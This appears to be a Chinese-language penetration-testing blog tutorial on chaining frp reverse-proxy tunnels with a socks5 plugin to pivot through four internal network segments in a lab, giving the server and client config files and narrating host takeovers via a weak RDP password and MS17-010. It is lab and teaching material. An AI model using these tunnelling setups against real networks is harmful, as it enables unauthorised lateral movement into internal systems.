目录
技能展示
文章
日记
时间线
项目展示
分类
标签
Android Bash Burp C++ CS CTF DLL劫持 Docker Fastjson Fastjson2 FNV-1a FreeCMS FRP GetShell GitHub IPv6 Java JNDI John JS加密 JS逆向 K8s Kafka Kali lama-cleaner Linux mitmproxy MSF MySQL Nim Nmap NPS Office OID Payload Phar PHP phpMyAdmin POP链 PWN Pyinstaller Python RCE RSA Shellcode SNMP SQL注入 SSH SSRF Ubuntu USB Web Webshell Web安全 Windows XSS YAML Zookeeper 主机探测 代码审计 伪协议 免杀 内网 内网穿透 加密 加解密 参数 反序列化 反弹shell 命令 哈希碰撞 图像处理 域渗透 字符串逃逸 容器 密码学 密码破解 提权 数据库 文件上传 日志分析 未授权访问 权限维持 汇总 流量分析 消息队列 溯源 漏洞 漏洞分析 漏洞利用 端口扫描 编译 网络管理 资产探测 跨平台 运维 进程隐藏 逆向
目录
目录
901 字
5 分钟
Frp搭建多层内网通信隧道
Frp搭建多层内网通信隧道
0x01 什么是frp
1frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。frp项目官网地址是:https://github.com/fatedier/frp/,下载解压后可以发现7个文件,frpc和frps分别为客户端和服务端可执行程序,frpc.ini和frps.ini,分别为客户端和服务端配置文件,frpc_full.ini和frps_full.ini分别为客户端所有配置项和服务端所有配置项。0x02 配置文件
配置文件部分参数说明(更多参数说明,请参考官方文档)
1frps:2[common]3bind_addr = 0.0.0.0 # 服务端监听地址4bind_port = 7000 # 服务端监听端口,默认70005auth_token = xxxxxxxx # 验证凭据6
7frpc:8[common]9server_addr = x.x.x.x # 连接的服务器IP地址10server_port = 7000 # 连接的服务器端口11
12[http_proxy]13type = tcp # 连接类型为tcp14local_ip = x.x.x.x # 本地ip15local_port = 8888 # 本地监听端口16remote_port = 8888 # 远程服务器端口17use_encryption = true #启⽤加密18plugin = socks5 # 使⽤插件socks5代理0x03 环境配置
实验环境
1攻击机:2Vps:192.168.53.1323win10:192.168.53.1294
5受害机:6Debian:192.168.53.134 10.10.20.1317win7:10.10.20.129 10.10.30.1308win10:10.10.30.132 172.16.5.13292008:172.16.5.129 172.16.10.128
0x04 步骤
4.1 第一层隧道
假如我们在拿到Debian主机权限后,发现其存在第二张网卡为10.10.20.0/24网段的,但是攻击机没办法直接访问这个网段。
1kali攻击机启动frps监听,配置文件如下:2[common]3bind_addr = 0.0.0.04bind_port = 70005
6Debian启动frpc,配置文件如下:7[common]8server_addr = 192.168.53.1329server_port = 700010
11[http_proxy]12type = tcp13local_ip = 10.10.20.13114remote_port = 888815local_port = 888816plugin = socks5vps:

debian:

win10:

此时我们便可以通过隧道去扫描10.10.20.0/24这个网段下的主机。

4.2 第二层隧道
假如我们通过3389弱口令拿到10.10.20.129这台主机,但是经过查看后发现它还有第二个网段10.10.30.0/24,但是目前我们的隧道只能访问到10.10.20.0/24这个网段,遂需要搭建第二层通信隧道,这个时候Debian既是客户端,也是服务端。
1Debian(frpc):2[common]3server_addr = 192.168.53.1324server_port = 70005
6[http_proxy]7type = tcp8remote_port = 88889local_ip = 10.10.20.13110local_port = 888811plugin = socks512
13Debian(frps):14[common]15bind_addr = 10.10.20.13116bind_port = 700017
18Win 7(frpc):19[common]20server_addr = 10.10.20.13121server_port = 700022
23[http_proxy]24type = tcp25local_ip = 10.10.30.13026remote_port = 888827local_port = 888828plugin = socks5debian:

Win7:

win10:
通过fscan扫描发现10.10.30.132这台主机存在MS17-010,且通过MS17-010拿下这台主机权限。


4.3 第三层隧道
现在我们又控制了PC这台主机,查看信息后,又发现了存在172.16.5.0/24这个网段,但是以目前条件kali攻击机没办法访问到这个网段下的资源,所以还要搭建第三层隧道,那么这个时候,Win7又多了一个身份,他既是客户端也是服务端。
1kali和Debian配置不需要改动,Win7的frpc和frps配置参考上一条Debian配置,这边就不再次体现了,然后Win10的frpc配置参考上面的Win7的frpc配置Win7:

PC:

Win10:

通过fscan又发现存在一台ms17-010的机器,172.16.5.129,且通过17-010拿下这台机器。

通过隧道成功登录到2008这台机器。

4.4 第四层隧道
拿到172.16.5.129这台机器后,发现他又存在172.16.10.0/24这个网段,遂搭建第四层隧道,配置文件都差不多,自行修改。
PC:

2008:

Win10:

通过fscan又发现存在一台MS17-010的机器172.16.10.132,且通过MS17-010拿下这台机器。


至此,所有主机全部都能登录。
部分信息可能已经过时
目录
技能展示
文章
日记
时间线
项目展示
分类
标签
Android Bash Burp C++ CS CTF DLL劫持 Docker Fastjson Fastjson2 FNV-1a FreeCMS FRP GetShell GitHub IPv6 Java JNDI John JS加密 JS逆向 K8s Kafka Kali lama-cleaner Linux mitmproxy MSF MySQL Nim Nmap NPS Office OID Payload Phar PHP phpMyAdmin POP链 PWN Pyinstaller Python RCE RSA Shellcode SNMP SQL注入 SSH SSRF Ubuntu USB Web Webshell Web安全 Windows XSS YAML Zookeeper 主机探测 代码审计 伪协议 免杀 内网 内网穿透 加密 加解密 参数 反序列化 反弹shell 命令 哈希碰撞 图像处理 域渗透 字符串逃逸 容器 密码学 密码破解 提权 数据库 文件上传 日志分析 未授权访问 权限维持 汇总 流量分析 消息队列 溯源 漏洞 漏洞分析 漏洞利用 端口扫描 编译 网络管理 资产探测 跨平台 运维 进程隐藏 逆向
目录